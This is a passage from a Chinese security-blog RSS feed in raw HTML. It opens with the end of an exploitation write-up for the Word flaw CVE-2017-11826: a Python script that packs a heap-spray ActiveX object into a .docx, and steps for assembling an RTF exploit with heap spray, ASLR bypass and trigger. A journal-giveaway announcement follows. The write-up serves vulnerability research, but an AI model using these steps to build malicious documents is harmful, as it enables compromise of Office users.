8px;line-height: 26px;">将修改好的 activeX1.bin 文件替换到 rtfobj.py 提取出来进行堆喷的文档中，并修改为.docx，脚本参考<span style="color: #1e6bb8;font-weight: bold;">Exploiting Word: CVE-2017-11826</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[3]</sup>一文，替换脚本如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArPibackfPNSTUaBz5ayuOg7PHagOMfGqV5MHptbr62TED6RC524AD4pqibPnk3knoU6pNVp2olxE2TY/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">import</span> os<br/><span style="color: #c678dd;line-height: 26px;">import</span> shutil<br/><span style="color: #c678dd;line-height: 26px;">import</span> zipfile<br/>template_path = <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span><br/>final_docx_name = <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span><br/>activeX_bin_path = <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">def</span> <span style="color: #61aeee;line-height: 26px;">pack_file_to_open_xml_docx</span><span style="line-height: 26px;">(template_path, final_docx_name, activeX_bin_path)</span>:</span><br/>    <span style="color: #c678dd;line-height: 26px;">if</span> <span style="color: #c678dd;line-height: 26px;">not</span> os.path.exists(template_path) <span style="color: #c678dd;line-height: 26px;">or</span> <span style="color: #c678dd;line-height: 26px;">not</span> os.path.exists(activeX_bin_path):<br/>        print(<span style="color: #98c379;line-height: 26px;">&#34;Template docx file or activeX.bin file not exist.&#34;</span>)<br/>        <span style="color: #c678dd;line-height: 26px;">return</span><br/>    <span style="color: #c678dd;line-height: 26px;">with</span> open(activeX_bin_path, <span style="color: #98c379;line-height: 26px;">&#34;rb&#34;</span>) <span style="color: #c678dd;line-height: 26px;">as</span> f_:<br/>        object_bin_data = f_.read()<br/>    zip_docx = template_path + <span style="color: #98c379;line-height: 26px;">&#34;.zip&#34;</span><br/>    current_dir = os.path.abspath(os.path.dirname(__file__))<br/>    new_path = os.path.join(current_dir, <span style="color: #98c379;line-height: 26px;">&#34;exp&#34;</span>, os.path.basename(zip_docx))<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> os.path.exists(new_path):<br/>        os.remove(new_path)<br/>    shutil.copy(template_path, new_path)<br/>    zip_docx = new_path<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># open temp docx and a copy for modification</span><br/>    zin = zipfile.ZipFile(zip_docx, <span style="color: #98c379;line-height: 26px;">&#39;r&#39;</span>)<br/>    zip_docx_copy = zip_docx + <span style="color: #98c379;line-height: 26px;">&#34;_copy_&#34;</span><br/>    zout = zipfile.ZipFile(zip_docx_copy, <span style="color: #98c379;line-height: 26px;">&#34;w&#34;</span>)<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># modify the docx template with exploit</span><br/>    <span style="color: #c678dd;line-height: 26px;">for</span> item <span style="color: #c678dd;line-height: 26px;">in</span> zin.infolist ():<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> item.filename.find(<span style="color: #98c379;line-height: 26px;">&#34;activeX1&#34;</span>) &gt;= <span style="color: #d19a66;line-height: 26px;">0</span> <span style="color: #c678dd;line-height: 26px;">and</span> item.filename.find(<span style="color: #98c379;line-height: 26px;">&#34;.bin&#34;</span>) &gt;= <span style="color: #d19a66;line-height: 26px;">0</span>:<br/>            <span style="color: #c678dd;line-height: 26px;">pass</span><br/>        <span style="color: #c678dd;line-height: 26px;">else</span>:<br/>            buffer = zin.read(item.filename)<br/>            zout.writestr(item, buffer) <span style="color: #5c6370;font-style: italic;line-height: 26px;"># use existing file</span><br/>    zout.writestr(<span style="color: #98c379;line-height: 26px;">&#34;word/activeX/&#34;</span> + <span style="color: #98c379;line-height: 26px;">&#34;activeX1.bin&#34;</span>, object_bin_data)<br/>    zout.close ()<br/>    zin.close ()<br/>    <span style="color: #5c6370;font-style: italic;line-height: 26px;"># convert to docx</span><br/>    os.rename (zip_docx_copy, final_docx_name)<br/>    os.remove(zip_docx)<br/>pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path)<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">新建一个 rtf 文件，将替换好的 docx 文件添加到 rtf 文件中，保存后使用 010Editor 打开，搜索 object，将{\object 和{*\objdata 的全部内容复制:</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2945478723404255" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1504" src="https://wechat2rss.xlab.app/img-proxy/?k=1aa2dc2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgX1MicqZibiaPib4tJKkRu1aB39Y2jtJ1RvgicFQobuHfK8DGkZJ9jOiaIpOzw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">再新建一个 rtf 文件，按照堆喷射、Bypass ASLR 和漏洞触发的顺序添加三个对象。堆喷射的内容就是上方复制好的内容，其他两个可以直接在原 EXP 中复制过来即可，最终 EXP 的结构如下所示：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.13553370786516855" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1424" src="https://wechat2rss.xlab.app/img-proxy/?k=e62cc903&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXjiczV8cjzK4gY7PzCPY5BmQrjvIYwZ4iarWqic9Iy0Gjg4MicfXVJdffkw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最终成功执行了 shellcode：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4477715877437326" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1436" src="https://wechat2rss.xlab.app/img-proxy/?k=81ab0a8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXIFyqzB3zH5xqicMaiaGk1zwcfS6xrOtCyXut7hFCMGclUVQzNR4LZ8Bw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考链接</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE:  <em><a href="https://www.greyhathacker.net/?p=911" target="_blank">https://www.greyhathacker.net/?p=911</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[2]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">office CVE-2017-11826 杂谈:  <em><a href="https://www.cnblogs.com/goabout2/p/8186018.html" target="_blank">https://www.cnblogs.com/goabout2/p/8186018.html</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[3]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">Exploiting Word: CVE-2017-11826:  <em><a href="https://www.tarlogic.com/blog/exploiting-word-cve-2017-11826/" target="_blank">https://www.tarlogic.com/blog/exploiting-word-cve-2017-11826/</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[4]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">cve-2017-11826漏洞分析、利用及动态检测: <em> <a href="https://www.anquanke.com/post/id/87122" target="_blank">https://www.anquanke.com/post/id/87122</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[5]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">open xml标签解析类漏洞分析思路:  <em><a href="https://www.anquanke.com/post/id/103080" target="_blank">https://www.anquanke.com/post/id/103080</a></em></p></span></section></section><p><br/></p>



<p><a href="2247484033">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f71b625a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484033%26idx%3D1%26sn%3D8c729692b301afce94f0d7abfa8f99c6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 04 Aug 2021 15:46:00 +0800</pubDate>
    </item>
    <item>
      <title>赠书 |《404 Paper 精粹》第一期发布啦！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247483827&amp;idx=1&amp;sn=98931949e1389a516cb596b3d3838fa8</link>
      <description>福利很大，你看一下。</description>
      <content:encoded><![CDATA[<p>
<span>404实验室</span> <span>2021-07-21 17:39</span> <span style="display: inline-block;"></span>
</p>

<p>福利很大，你看一下。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fcd90888&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD5iaPo1De7nT5HvxCCJhSR4VJs4xsILYxxm26uDoh1NSGhKibGves2M0dxSvVXBSxuTXFWibReeFHXsA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages" data-galleryid="" data-ratio="0.196875" style="" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=2405b123&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT09IJjs3wGQbICd50va8zMqfnXZfD5LGdibcuOrtia3P4DpMAVfibZ8J4MsbHt0JW20QL8Wh0SO8zpyA%2F640%3Fwx_fmt%3Dgif"/></p><p><br/></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 15px;">知道创宇404实验室原创技术刊物</span><span style="font-size: 15px;color: rgb(255, 169, 0);">《404 Paper 精粹 2021年（上）》</span><span style="font-size: 15px;">正式发布了！（</span></strong><strong><span style="font-size: 15px;"><img data-ratio="1" style="display:inline-block;width:20px;vertical-align:text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=e018d6a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT3KhTHWZI36e63AAqCsMmiaQHr3LdInYnFVhcwZc4s5FDkRWuCdOFEkVI14icPBiaN3dBpJS7ibM7nJLQ%2F640%3Fwx_fmt%3Dpng"/>文末互动送出~）</span></strong></span></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">404实验室作为知道创宇核心部门，专注于Web 、IoT 、工控、区块链等领域内安全漏洞挖掘、攻防技术的研究工作。一直以来，404实验室小伙伴热衷于用文章记录、分享安全研究中的成果和心得，持续不断输出高质量的原创内容，<strong>本刊精选404实验室2021上半年安全技术文章，包含漏洞分析、安全工具等纯干货内容。</strong></span></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.74921875" data-s="300,640" style="text-align: center;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=01bfe6db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT3KhTHWZI36e63AAqCsMmiaQKfWDMkVDT5nuDweVVRAAdPGQRwnREFM5WxicqLa0ibfuLNl0nH34gSXw%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-align: center;line-height: 1.75em;"><br/></section><p style="text-align: left;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">这样一本质感满满的期刊捧在手里，能让你感受得到404实验室对待技术的诚意满满。值得细细品读，值得好好收藏~</span></p><p style="text-align: left;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="text-align: left;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7484375" data-s="300,640" style="text-align: center;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4df1fde1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT3KhTHWZI36e63AAqCsMmiaQv2Nsjh3GAqjkPMfSqsxRaMrN68iaWBQCuaTibXsHhYQU6Vw4iatDRq9QA%2F640%3Fwx_fmt%3Djpeg"/><img class="rich_pages js_insertlocalimg" data-ratio="0.75" data-s="300,640" style="text-align: center;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=67cd866f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT3KhTHWZI36e63AAqCsMmiaQqic8HrDAwupoLgVnCvAc0eAXmutVn7ORybQPay9pic0S7lr47gYHfMMg%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-align: center;line-height: 1.75em;"><br/></section><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">本次期刊的发布也要感谢所有支持404实验室、支持Seebug Paper技术专栏的安全圈朋</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">友，这本期刊我们也为你</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">留了一份哦：</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">）</span></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">“开放和分享”一直是404对待技术所秉承的信念，正如黑哥为这本期刊写的序言——<br/></span></p><section style="line-height: 1.75em;"><br/></section><section data-tools="135编辑器" data-id="95325"><section style="padding-left: 10px;"><section style="width:2em;margin-left: -7px;margin-bottom: -15px;"><img data-ratio="0.9473684210526315" data-type="gif" data-w="57" data-width="100%" style="width:100%;display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=9a9eb8e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT3KhTHWZI36e63AAqCsMmiaQOl0nrHwhdGsRfibOO9DJGkNeMRZTJRYc7kmiaCtsDIQ6y4Al8iacsuk6Q%2F640%3Fwx_fmt%3Dgif"/></section><section style="padding-left: 10px;"><section style="border-width: 3px;border-style: solid;border-color: rgb(254, 254, 254);background: rgb(28, 37, 77);color: rgb(255, 255, 255);"><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;padding: 1em;"><p hm_fix="365:358"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 20px;"><strong>致敬Phrack</strong></span></p><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">在黑客的历史上一直都有杂志期刊的文化，著名的Phrack杂志可谓是黑客期刊的常青树，从1985年11月17日延续到今天已经36年了，这比很多的安全从业者的年纪还大。Phrack上的出现过很多影响深远的文章，作为一名过期的古典黑客的我，对Phrack始终存在一种敬仰！遥想当年我跟我们的小伙伴也曾做过一个Ph4nt0mWebzine的杂志向Phrack致敬，可惜只坚持做到第六期后夭折……</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">在Ph4nt0m Webzine最后一期的“Introduction”里我用了“坚持与分享”作为主题（曾经也用过这个作为某年的KCon上404发布的主题），那是因为我已经预见了这可能就是最后一期。当然我们也看到了即使是Phrack当年也一度停刊，到了近几年由原来的一年一期，也基本演变为一年一篇两篇，所以更让人感慨“坚持”的意义。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">有人说是现在的人都不愿意分享了，我觉得不是，我认为乐于分享是技术研究者的本性，可能只是现在分享的方式或者平台更加的多种多样了！我之前一直觉得“坚持”应该也算是技术追求者应有的品质，直到我看到一个当画家的表兄在接受采访的时候，说到“坚持”这个话题的时候，他认为他不是在坚持，而是在享受，因为坚持是带有种悲壮的情绪，而享受则是乐在其中，果然“黑客与画家”是有共鸣的！</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">作为一个杂志一个平台的Phrack来说，分享是“坚持”，而作为技术研究者来说分享应该是一种“享受”。同样对于我们知道创宇来说，持续高投入的打造以404实验室为核心的技术团队无疑是一种“坚持”，一种对技术的“信仰”，而对于我们404实验室的小伙已经把乐于分享深深地烙在每个小伙的身上，这让我倍感骄傲！每年我们都会对外输出分享大量技术相关的文档或开源项目，同样我们也想更多的人看到我们的输出，甚至一起加入一起参与，于是我们上线了paper.seebug.org平台，当然这也向另外一个曾经的分享平台wooyun致敬！针对开源社区我们也推出了“星链计划”，越来越多的开发者加入我们，一起分享！</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">我多年有一个习惯就喜欢“考古”，对一些老的经典的文章每隔一段时间都会去回顾一下，包括我自己写的那些。每次回顾都时常有一些新的启发，可能这就是所谓的“温故而知新”吧！于是我们在2019年的时候想把404多年来经典技术文章整理成书，当时名字都选好了叫《洞·悉》，可惜因为各种各样的非技术原因导致难产……秉承“坚持”的信念，也是为了更多的人能看到我们的技术文章，于是就有了此“404 paper 精粹”的期刊（半年刊）诞生，希望读者能通过我们的文章有所收获，也希望我们能把“坚持”进行到底，当然我也希望有更多志同道合的朋友加入我们！</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">最后向一直或者曾经“分享”的人致敬！向一直在“坚持”的平台致敬！</span></section><section style="line-height: 1.75em;"><br/></section><p hm_fix="365:358"><br/></p><p hm_fix="365:358"><br/></p></section><section style="text-align: right;margin-top: -3.6em;margin-right: 8px;margin-bottom: 8px;"><section data-bcless="spin" data-bcleep="120" style="display: inline-block;width: 3em;height: 3em;border-right: 2px dotted rgb(212, 171, 14);border-bottom: 2px dotted rgb(212, 171, 14);overflow: hidden;"><span style="font-family: Optima-Regular, PingFangTC-light;">Heige</span></section></section></section></section></section></section><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;"><br/></section><section style="line-height: 1.75em;text-align: center;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">向一直或者曾经“分享”的人致敬</span></section><section style="line-height: 1.75em;text-align: center;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">向一直在“坚持”的平台致敬</span></section><section style="line-height: 1.75em;text-align: center;"><br/></section><section data-id="89983" data-tools="135编辑器"><section style="width:100%;text-align:center;" data-width="100%"><img data-ratio="0.8428571428571429" style="width:80px;" data-type="gif" data-w="140" src="https://wechat2rss.xlab.app/img-proxy/?k=19c2ef80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT3KhTHWZI36e63AAqCsMmiaQjMOEozIqOvcXxRsCGONicQ9DXBsgoJ0Tl1kibRdEdGnia6CeJ4lCIPErQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="width: 100%;clear: both;height: 0px;overflow: hidden;" data-width="100%"><br/></section></section><p style="text-align: center;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><strong style="font-family: Optima-Regular, PingFangTC-light;white-space: normal;">《404 Paper 精粹 2021年（上）》</strong></span></p><p style="text-align: center;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"><strong style="font-family: Optima-Regular, PingFangTC-light;white-space: normal;"><img data-ratio="1" style="height: 20px !important;max-height: 20px !important;width: 20px !important;" data-type="png" data-w="64" src="https://wechat2rss.xlab.app/img-proxy/?k=c1925635&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UpLfrFlicWMWSica8jTJbE0G6rm726kK4G360Ao1gGaTsY6ibIErxibqAgg%2F640%3Fwx_fmt%3Dpng"/></strong></span></p><p style="text-align: center;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 18px;color: rgb(255, 169, 0);"><strong style="font-family: Optima-Regular, PingFangTC-light;white-space: normal;">如 何 获 得</strong></span></p><section style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"> </span></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">1、即日起，提交Seebug Paper投稿，文章一经发布即可获得这本<strong style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;white-space: normal;">《404 Paper 精粹 2021年（上）》，送完即止；</strong></span></strong></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;white-space: normal;"><br/></strong></span></strong></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;white-space: normal;">2、前往 Seebug 商城（</strong></span></strong><span style="text-decoration: underline;color: rgb(136, 136, 136);"><strong><span style="text-decoration: underline;font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;white-space: normal;"><a href="https://www.seebug.org/exchange/goods" target="_blank">https://www.seebug.org/exchange/goods</a></strong></span></strong></span><strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: center;white-space: normal;">）使用kb兑换；</strong></span></strong></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(255, 169, 0);"><strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">3、</span></strong><strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">互动赠书！</span></strong></span><strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></strong></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><span style="color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: start;">🎁<span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);">关注本公众号+转发本文</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 0.544px;text-align: left;">至<span style="background-color: rgb(255, 255, 255);">盆友圈</span></span></span>，</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">我们将选取<strong>5名用户</strong>送出这本《404 Paper 精粹 2021年（上）》 。</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">互动截止时间2021年7月31日，届时将联系获奖朋友，请留意后台消息并及时回复收货信息哦！</span></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"></span></section><section style="text-align: left;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section data-tools="135编辑器" data-id="96272"><section style="padding-top: 10px;padding-bottom: 10px;"><section style="text-align: right;margin-right:2em;"><section style="display:inline-block;width:50px;background:#fefefe;"><img data-ratio="0.6170212765957447" style="display: block;width: 30px;margin-right: auto;margin-left: auto;" data-type="png" data-w="47" src="https://wechat2rss.xlab.app/img-proxy/?k=39ca448e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT3KhTHWZI36e63AAqCsMmiaQUicdnhb2mlVdmdJicCeIEhmegomgcwlZpDqiaOKo2zcvM3iaqO1iciaOLibbQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="border-width: 2px;border-style: solid;border-color: rgb(0, 0, 0);border-radius: 20px;margin-top: -15px;"><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding: 1em;"><p style="white-space: normal;"><span style="color: rgb(56, 10, 170);"><strong><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">关于我们</span></strong></span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"></span></p><p style="white-space: normal;line-height: 1.75em;"><br/></p><p style="white-space: normal;line-height: 1.75em;text-align: justify;"><strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">天玄安全实验室</span></strong><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">，</span><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;">致力于漏洞攻防技术的研究，包括漏洞挖掘、分析和漏洞利用技术等。</span><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;">研究覆盖操作系</span><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;">统、应用系</span><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: left;">统</span><span style="background-color: rgb(255, 255, 255);color: rgb(58, 65, 69);font-family: 